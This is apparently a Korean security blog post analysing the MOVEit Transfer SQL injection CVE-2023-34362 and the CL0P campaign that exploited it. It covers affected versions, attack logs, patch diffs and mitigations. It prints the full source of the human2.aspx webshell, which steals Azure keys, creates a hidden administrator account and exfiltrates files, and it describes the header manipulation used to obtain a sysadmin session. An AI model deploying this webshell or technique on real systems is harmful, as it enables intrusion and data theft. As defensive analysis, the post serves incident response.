1. MOVEit Transfer [1]
- 중요한 데이터의 안전한 협업 및 자동화된 파일 전송기능을 제공하는 MFT(Managed File Transfer) 소프트웨어
2. 취약점
- 취약한 버전의 MOVEit Transfer에서 발생하는 SQL Injection 취약점
- 해당 취약점을 악용해 웹쉘 업로드가 가능하며, 웹쉘을 통해 DB 조작, 정보 열람, 파일 다운로드 등 악성행위가 가능함
- MOVEit Transfer를 사용하는 기업은 전 세계 수천개가 넘으며, 이 중에는 BBC, 영국항공, 노바스코티아 주 정부가 포함되어 있음
- 현재 관련된 PoC 등은 확인되지 않으나, Huntress에서 관련 영상 공개 [3]
> 보안 업체가 Horizon3ai와 Rapid7가 각각 CVE-2023-34362의 익스플로잇 방법을 개발해 발표 [16][17][18]
영향받는 버전
- MOVEit Transfer 2023.0.0 (15.0)
- MOVEit Transfer 2022.1.x (14.1)
- MOVEit Transfer 2022.0.x (14.0)
- MOVEit Transfer 2021.1.x (13.1)
- MOVEit Transfer 2021.0.x (13.0)
- MOVEit Transfer 2020.1.x (12.1)
- MOVEit Transfer 2020.0.x (12.0) 혹은 그 이전버전
- MOVEit Cloud
- 23.06.10 현재 인터넷에 노출된 MOVEit Transfer 인스턴스는 약 2,500개 [4]
- GreyNoise에서는 CVE-2023-34362 관련 스캐너를 공개 [5]
2.1 CL0P 랜섬웨어 그룹 [6]
- MS에서 2023.06.02 CL0P 랜섬웨어 그룹의 소행으라고 밝혔으며, 06.05 CL0P이 블로그에 관련 성명을 게시
> 보안 외신 SC Media에 따르면 CL0P 랜섬웨어 그룹은 2021년부터 연구하였고, 그 기간 동안 여러 기업들을 해당 취약점을 이용해 침해
- 여러 보안 기업에서 분석한 결과 공격 흐름은 다음과 같음
① SQL Injection 취약점 악용
> SQL Injection 취약점을 이용해 웹쉘 human2.aspx 업로드
② 웹쉘 통신 및 악성 행위 수행 [7]
> "X-siLock-Comment" 헤더를 통해 웹쉘과 통신
헤더 | 옵션 | 설명 |
X-siLock-Step1 | -1 | - AppendHeader 응답 헤더를 통해 Azure 정보 유출 - MOVEit에 존재하는 모든 파일, 파일 소유자, 파일 사이즈 등의 정보를 GZIP으로 압축하여 반환 |
-2 | - users 데이터베이스에서 RealName이 Health Check Service인 사용자 삭제 | |
X-siLock-Step2 ("folderid" 값 지정) |
특정 값 지정 | - 해당 값과 fileid값(X-siLock-Step3)이 지정 되었을 경우 해당 값으로 설정된 파일을 검색하고 GZIP으로 압축하여 반환 |
NULL | - 해당 값과 fileid 값(X-siLock-Step3)이 지정되지 않을 경우(null) 권한 수준이 30인 기존 계정 식별을 시도하고, 그렇지 않을 경우 user 데이터베이스에 새로운 Health Check Service 관리용 사용자를 추가 |
|
X-siLock-Step3 ("fileid" 값 지정) |
특정 값 지정 | - 해당 값과 folderid값(X-siLock-Step2)이 지정 되었을 경우 해당 값으로 설정된 파일을 검색하고 GZIP으로 압축하여 반환 |
NULL | - 해당 값과 folderid값(X-siLock-Step2)이 지정되지 않을 경우(null) 권한 수준이 30인 기존 계정 식별을 시도하고, 그렇지 않을 경우 user 데이터베이스에 새로운 Health Check Service 관리용 사용자를 추가 |
<%@ Page Language="C#" %>
<%@ Import Namespace="MOVEit.DMZ.ClassLib" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Contracts.Infrastructure.Data" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Files" %>
<%@ Import Namespace="MOVEit.DMZ.Cryptography.Contracts" %>
<%@ Import Namespace="MOVEit.DMZ.Core.Cryptography" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Contracts.FileSystem" %>
<%@ Import Namespace="MOVEit.DMZ.Core" %>
<%@ Import Namespace="MOVEit.DMZ.Core.Data" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Users" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Contracts.Users.Enum" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Contracts.Users" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>
<script runat="server">
private Object connectDB() {
var MySQLConnect = new DbConn(SystemSettings.DatabaseSettings());
bool flag = false;
string text = null;
flag = MySQLConnect.Connect();
if (!flag) {
return text;
}
return MySQLConnect;
}
private Random random = new Random();
public string RandomString(int length) {
const string chars = "abcdefghijklmnopqrstuvwxyz0123456789";
return new string(Enumerable.Repeat(chars, length).Select(s => s[random.Next(s.Length)]).ToArray());
}
protected void Page_load(object sender, EventArgs e) {
var pass = Request.Headers["X-siLock-Comment"];
if (!String.Equals(pass, "REDACTEDREDACTEDREDACTEDREDACTED")) {
Response.StatusCode = 404;
return;
}
Response.AppendHeader("X-siLock-Comment", "comment");
var instid = Request.Headers["X-siLock-Step1"];
string x = null;
DbConn MySQLConnect = null;
var r = connectDB();
if (r is String) {
Response.Write("OpenConn: Could not connect to DB: " + r);
return;
}
try {
MySQLConnect = (DbConn) r;
if (int.Parse(instid) == -1) {
string azureAccout = SystemSettings.AzureBlobStorageAccount;
string azureBlobKey = SystemSettings.AzureBlobKey;
string azureBlobContainer = SystemSettings.AzureBlobContainer;
Response.AppendHeader("AzureBlobStorageAccount", azureAccout);
Response.AppendHeader("AzureBlobKey", azureBlobKey);
Response.AppendHeader("AzureBlobContainer", azureBlobContainer);
var query = "select f.id, f.instid, f.folderid, filesize, f.Name as Name, u.LoginName as uploader, fr.FolderPath , fr.name as fname from folders fr, files f left join users u on f.UploadUsername = u.Username where f.FolderID = fr.ID";
string reStr = "ID,InstID,FolderID,FileSize,Name,Uploader,FolderPath,FolderName\n";
var set = new RecordSetFactory(MySQLConnect).GetRecordset(query, null, true, out x);
if (!set.EOF) {
while (!set.EOF) {
reStr += String.Format("{0},{1},{2},{3},{4},{5},{6},{7}\n", set["ID"].Value, set["InstID"].Value, set["FolderID"].Value, set["FileSize"].Value, set["Name"].Value, set["uploader"].Value, set["FolderPath"].Value, set["fname"].Value);
set.MoveNext();
}
}
reStr += "----------------------------------\nFolderID,InstID,FolderName,Owner,FolderPath\n";
String query1 = "select ID, f.instID, name, u.LoginName as owner, FolderPath from folders f left join users u on f.owner = u.Username";
set = new RecordSetFactory(MySQLConnect).GetRecordset(query1, null, true, out x);
if (!set.EOF) {
while (!set.EOF) {
reStr += String.Format("{0},{1},{2},{3},{4}\n", set["id"].Value, set["instID"].Value, set["name"].Value, set["owner"].Value, set["FolderPath"].Value);
set.MoveNext();
}
}
reStr += "----------------------------------\nInstID,InstName,ShortName\n";
query1 = "select id, name, shortname from institutions";
set = new RecordSetFactory(MySQLConnect).GetRecordset(query1, null, true, out x);
if (!set.EOF) {
while (!set.EOF) {
reStr += String.Format("{0},{1},{2}\n", set["ID"].Value, set["name"].Value, set["ShortName"].Value);
set.MoveNext();
}
}
using(var gzipStream = new GZipStream(Response.OutputStream, CompressionMode.Compress)) {
using(var writer = new StreamWriter(gzipStream, Encoding.UTF8)) {
writer.Write(reStr);
}
}
} else if (int.Parse(instid) == -2) {
var query = String.Format("Delete FROM users WHERE RealName='Health Check Service'");
new RecordSetFactory(MySQLConnect).GetRecordset(query, null, true, out x);
} else {
var fileid = Request.Headers["X-siLock-Step3"];
var folderid = Request.Headers["X-siLock-Step2"];
if (fileid == null && folderid == null) {
SessionIDManager Manager = new SessionIDManager();
string NewID = Manager.CreateSessionID(Context);
bool redirected = false;
bool IsAdded = false;
Manager.SaveSessionID(Context, NewID, out redirected, out IsAdded);
string username = "";
var query = String.Format("SELECT Username FROM users WHERE InstID={0} AND Permission=30 AND Status='active' and Deleted=0", int.Parse(instid));
var set = new RecordSetFactory(MySQLConnect).GetRecordset(query, null, true, out x);
var query1 = "";
if (!set.EOF) {
username = (String) set["Username"].Value;
} else {
username = RandomString(16);
query1 += String.Format("INSERT INTO users (Username, LoginName, InstID, Permission, RealName, CreateStamp, CreateUsername, HomeFolder, LastLoginStamp, PasswordChangeStamp) values ('{0}','{1}',{2},{3},'{4}', CURRENT_TIMESTAMP,'Automation',(select id from folders where instID=0 and FolderPath='/'), CURRENT_TIMESTAMP, CURRENT_TIMESTAMP);", username, "Health Check Service", int.Parse(instid), 30, "Health Check Service", "Automation", "Services");
}
query1 += String.Format("insert into activesessions (SessionID, Username, LastTouch, Timeout, IPAddress) VALUES ('{0}','{1}',CURRENT_TIMESTAMP, 9999, '127.0.0.1')", NewID, username);
new RecordSetFactory(MySQLConnect).GetRecordset(query1, null, true, out x);
} else {
DataFilePath dataFilePath = new DataFilePath(int.Parse(instid), int.Parse(folderid), fileid);
SILGlobals siGlobs = new SILGlobals();
siGlobs.FileSystemFactory.Create();
EncryptedStream st = Encryption.OpenFileForDecryption(dataFilePath, siGlobs.FileSystemFactory.Create());
Response.ContentType = "application/octet-stream";
Response.AppendHeader("Content-Disposition", String.Format("attachment; filename={0}", fileid));
using(var gzipStream = new GZipStream(Response.OutputStream, CompressionMode.Compress)) {
st.CopyTo(gzipStream);
}
}
}
} catch (Exception) {
Response.StatusCode = 404;
return;
} finally {
MySQLConnect.Disconnect();
}
return;
}
</script>
- 시나리오를 기반으로 침해를 테스트한 시스템의 로그를 검토한 결과 해당 공격과 관련된 로그는 다음과 유사할 것으로 판단 됨
2023-05-30 17:05:50 192.168.###.### GET / - 443 - 5.252.190.181 user-agent - 200
2023-05-30 17:06:00 192.168.###.### POST /guestaccess.aspx - 443 - 5.252.191.14 user-agent - 200
2023-05-30 17:06:00 192.168.###.### POST /api/v1/token - 443 - 5.252.191.14 user-agent - 200
2023-05-30 17:06:02 192.168.###.### GET /api/v1/folders - 443 - 5.252.191.14 user-agent - 200
2023-05-30 17:06:02 192.168.###.### POST /api/v1/folders/605824912/files uploadType=resumable 443 - 5.252.191.14 user-agent - 200
2023-05-30 17:06:02 ::1 POST /machine2.aspx - 80 - ::1 CWinInetHTTPClient - 200
2023-05-30 17:06:02 192.168.###.### POST /moveitisapi/moveitisapi.dll action=m2 443 - 5.252.191.14 user-agent - 200
2023-05-30 17:06:04 192.168.###.### POST /guestaccess.aspx - 443 - 5.252.190.233 user-agent - 200
2023-05-30 17:06:08 192.168.###.### PUT /api/v1/folders/605824912/files uploadType=resumable&fileId=963061209 443 - 5.252.190.233 user-agent - 500
2023-05-30 17:06:08 ::1 POST /machine2.aspx - 80 - ::1 CWinInetHTTPClient - 200
2023-05-30 17:06:08 192.168.###.### POST /moveitisapi/moveitisapi.dll action=m2 443 - 5.252.190.233 user-agent - 200
2023-05-30 17:06:11 192.168.###.### POST /guestaccess.aspx - 443 - 5.252.190.116 user-agent - 200
2023-05-30 17:06:21 192.168.###.### GET /human2.aspx - 443 - 5.252.191.88 user-agent - 404
> moveitisapi.dll은 특정 헤더에서 요청될 경우 SQL 인젝션을 수행하기 위해 사용
⒜ 사용자 요청에 action=m2 매개변수를 포함하는 경우 action_m2 함수를 호출
⒝ 해당 함수는 전달받은 X-siLock-Transaction 헤더가 folder_add_by_path와 일치여부 확인 후 일치할 경우 machine2.aspx에 사용자 요청 포워딩
⒞ moveitisapi.dll에서 X-siLock-Transaction 헤더를 추출하여 folder_add_by_path와 값을 비교하는 함수에 버그 존재
⒟ 공격자는 xX-siLock-Transaction=folder_add_by_path 등의 헤더를 제공해 헤더가 잘못 추출되도록 유도
⒠ 잘못 추출된 헤더에 의해 machine2.aspx에 session_setvars 트랜잭션을 전달하여 SetAllSessionVarsFromHeaders() 함수 호출 및 구문 분석 진행
⒡ 이때, X-siLock-SessVar0: MyUsername: sysadmin은 세션의 사용자 이름을 sysadmin으로 설정하며, 변수를 설정할 수 있는 엑세스 권한이 부여
> guestaccess.aspx는 세션을 준비하고 CSRF 토큰 및 기타 필드 값을 추출하여 추가 액션을 수행하는 데 사용
⒜ 취약한 UserGetUsersWithEmailAddress() 함수는 트렌젝션이 secmsgpost인 경우 인증을 수행하지 않고 guestaccess.aspx 호출
※ 관련 함수 Call-chain
guestaccess.aspx -> SILGuestAccess -> SILGuestAccess.PerformAction() -> MsgEngine.MsgPostForGuest() -> UserEngine.UserGetSelfProvisionUserRecipsWithEmailAddress() -> UserEngine.UserGetUsersWithEmailAddress()
3. 대응방안
① 최신 업데이트 적용 [8]
> 23.06.12 보안 기업 Huntress에 의해 두 번째 제로데이 취약점(CVE-2023-35036)이 발견되었으며, 벤더사에서 관련 패치 적용
> 따라서, 서둘러 패치를 적용해야할 필요가 있음
※ MOVEit Cloud의 경우 클라우드 서비스이기 때문에 사용자들이 특별히 패치를 다운로드 받아 적용하지는 않아도 됨
※ 보안 업체의 연구에 따르면 해당 패치는 모든 경우에서 인수를 이스케이프 하므로, 취약점에 적절히 대응하는 것으로 확인
취약한 버전 | 패치 버전 |
MOVEit Transfer 2023.0.0(15.0) | MOVEit Transfer 2023.0.1 |
MOVEit Transfer 2022.1.x(14.1) | MOVEit Transfer 2022.1.5 |
MOVEit Transfer 2022.0.x(14.0) | MOVEit Transfer 2022.0.4 |
MOVEit Transfer 2021.1.x(13.1) | MOVEit Transfer 2021.1.4 |
MOVEit Transfer 2021.0.x(13.0) | MOVEit Transfer 2021.0.6 |
MOVEit Transfer 2020.1.x(12.1) | Progress 웹사이트 참고 [9] |
MOVEit Transfer 2020.0.x(12.0) 및 이전 버전 | 가능한 상위 버전 |
MOVEit Cloud | 14.1.4.94 또는 14.0.3.42 |
> machine2.aspx에서 사용하던 SetAllSessionVarsFromHeaders() 함수를 제거
public bool SetAllSessionVarsFromHeaders(string ServerVars)
{
bool flag = true;
string[] strArray = Strings.Split(ServerVars, "\r\n");
int num1 = Strings.Len("X-siLock-SessVar");
int num2 = Information.LBound((Array) strArray);
int num3 = Information.UBound((Array) strArray);
int index = num2;
while (index <= num3)
{
if (Operators.CompareString(Strings.Left(strArray[index], num1), "X-siLock-SessVar", false) == 0)
{
int num4 = strArray[index].IndexOf(':', num1);
if (num4 >= 0)
{
int num5 = strArray[index].IndexOf(':', checked (1 + num4));
if (num5 > 0)
this.SetValue(strArray[index].Substring(checked (2 + num4), checked (num5 - num4 - 2)), (object) strArray[index].Substring(checked (2 + num5)));
}
}
checked { ++index; }
}
return flag;
}
> 여러 위치에서 사용되는 복잡한 SQL 쿼리를 변경
private void UserGetUsersWithEmailAddress(
- ref ADORecordset MyRS,
+ ref IRecordset MyRS,
string EmailAddress,
string InstID,
bool bJustEndUsers = false,
bool bJustFirstEmail = false)
{
- object[] objArray;
- bool[] flagArray;
- object obj = NewLateBinding.LateGet((object) null, typeof (string), "Format", objArray = new object[4]
+ Func<string, string> func = new Func<string, string>(this.siGlobs.objWrap.Connection.FormatParameterName);
+ SQLBasicBuilder where = this._sqlBuilderUsers.SelectBuilder().AddColumnsToSelect("Username", "Permission", "LoginName", "Email").AddAndColumnEqualsToWhere<string>(nameof (InstID), InstID, true).AddAndColumnEqualsToWhere<int>("Deleted", 0);
+ if (bJustEndUsers)
+ where.AddAndColumnGreaterThanToWhere<int>("Permission", 10, true);
+ string str = this.siGlobs.objUtility.EscapeLikeForSQL(EmailAddress);
+ List<string> values = new List<string>()
{
- Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject((object) ("SELECT Username, Permission, LoginName, Email FROM users WHERE InstID={0} AND Deleted=" + Conversions.ToString(0) + " "), Interaction.IIf(bJustEndUsers, (object) ("AND Permission>=" + Conversions.ToString(10) + " "), (object) "")), (object) "AND "), (object) "("), (object) "Email='{2}' OR "), (object) this.siGlobs.objUtility.BuildLikeForSQL("Email", "{1},%", bEscapeAndConvertMatchString: false)), Interaction.IIf(bJustFirstEmail, (object) "", (object) (" OR " + this.siGlobs.objUtility.BuildLikeForSQL("Email", "%,{1}", bEscapeAndConvertMatchString: false) + " OR " + this.siGlobs.objUtility.BuildLikeForSQL("Email", "%,{1},%", bEscapeAndConvertMatchString: false)))), (object) ") "), (object) "ORDER BY LoginName"),
- (object) InstID,
- (object) this.siGlobs.objUtility.EscapeLikeForSQL(EmailAddress),
- (object) EmailAddress
- }, (string[]) null, (Type[]) null, flagArray = new bool[4]
- {
- false,
- true,
- false,
- true
- });
- if (flagArray[1])
- InstID = (string) Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray[1]), typeof (string));
- if (flagArray[3])
- EmailAddress = (string) Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray[3]), typeof (string));
- this.siGlobs.objWrap.DoReadQuery(Conversions.ToString(obj), ref MyRS, true);
+ string.Format("Email={0}", (object) func("Email")),
+ this.siGlobs.objUtility.BuildLikeForSQL("Email", func("FirstEmail"), bEscapeAndConvertMatchString: false, bQuoteMatchString: false)
+ };
+ where.WithParameter("Email", (object) EmailAddress);
+ where.WithParameter("FirstEmail", (object) string.Format("{0},%", (object) str));
+ if (!bJustFirstEmail)
+ {
+ values.Add(this.siGlobs.objUtility.BuildLikeForSQL("Email", func("MiddleEmail"), bEscapeAndConvertMatchString: false, bQuoteMatchString: false));
+ values.Add(this.siGlobs.objUtility.BuildLikeForSQL("Email", func("LastEmail"), bEscapeAndConvertMatchString: false, bQuoteMatchString: false));
+ where.WithParameter("MiddleEmail", (object) string.Format("%,{0},%", (object) str));
+ where.WithParameter("LastEmail", (object) string.Format("%,{0}", (object) str));
+ }
+ where.AddAndToWhere("(" + string.Join(" OR ", (IEnumerable<string>) values) + ")");
+ where.AddColumnToOrderBy("LoginName", SQLBasicBuilder.OrderDirection.Ascending);
+ this.siGlobs.objWrap.DoReadQuery(where.GetQuery(), where.Parameters, ref MyRS, true);
}
② 벤더사 권장 수정 사항 (업데이트 외) [8]
- MOVEit Transfer의 HTTP 및 HTTPS 트래픽 비활성화
- 감사 로그를 점검해 비정상적인 파일 접근 및 다운로드 기록이 있는지 확인
- 악성 파일 및 사용자 계정 삭제
> 웹쉘과 cmdline 스크립트 파일 등을 삭제하고 승인되지 않은 계정 삭제
> 관련 행위 조사와 관련된 정보 제공 [11]
③ 업데이트가 불가할 경우
- 신뢰할 수 있는 IP 주소에서만 MOVEit Transfer 접속하도록 방화벽 설정
- 승인되지 않은 사용자 계정 제거
- 신뢰할 수 있는 인바운드 연결만 허용
- 다단계 인증 활성화
④ 공개된 침해지표 보안장비 적용 [12][13][14][15]
4. 참고
[1] https://www.ipswitch.com/moveit-transfer
[2] https://nvd.nist.gov/vuln/detail/CVE-2023-34362#close
[3] https://www.huntress.com/blog/moveit-transfer-critical-vulnerability-rapid-response
[4] https://www.shodan.io/search?query=http.favicon.hash%3A989289239
[5] https://viz.greynoise.io/tag/moveit-transfer-scanner?days=30
[6] https://www.akamai.com/blog/security-research/moveit-sqli-zero-day-exploit-clop-ransomware
[7] https://gist.github.com/JohnHammond/44ce8556f798b7f6a7574148b679c643
[8] https://community.progress.com/s/article/MOVEit-Transfer-Critical-Vulnerability-31May2023
[9] https://community.progress.com/s/article/Vulnerability-May-2023-Fix-for-MOVEit-Transfer-2020-1-12-1
[12] https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-158a
[13] https://www.mandiant.com/resources/blog/zero-day-moveit-data-theft
[14] https://www.imperva.com/blog/cve-2023-34362-moveit-transfer/
[15] https://www.boannews.com/media/view.asp?idx=118913&page=4&kind=1
[16] https://www.horizon3.ai/moveit-transfer-cve-2023-34362-deep-dive-and-indicators-of-compromise/
[17] https://github.com/horizon3ai/CVE-2023-34362
[18] https://attackerkb.com/topics/mXmV0YpC3W/cve-2023-34362/rapid7-analysis?referrer=notificationEmail
'취약점 > Injection' 카테고리의 다른 글
D-Link NAS 제품군 Command Injection 취약점(CVE-2024-3273) (0) | 2024.04.09 |
---|---|
MOVEit Transfer SQL Injection 취약점(CVE-2023-35036, CVE-2023-35708) (0) | 2023.06.17 |
Zyxel Firewall Unauthenticated remote command injection (CVE-2022-30525) (0) | 2023.02.05 |
비박스 PHP Code Injection (0) | 2023.01.16 |
JSON 기반 SQL Injeciton 통한 WAF 우회 공격 (0) | 2023.01.09 |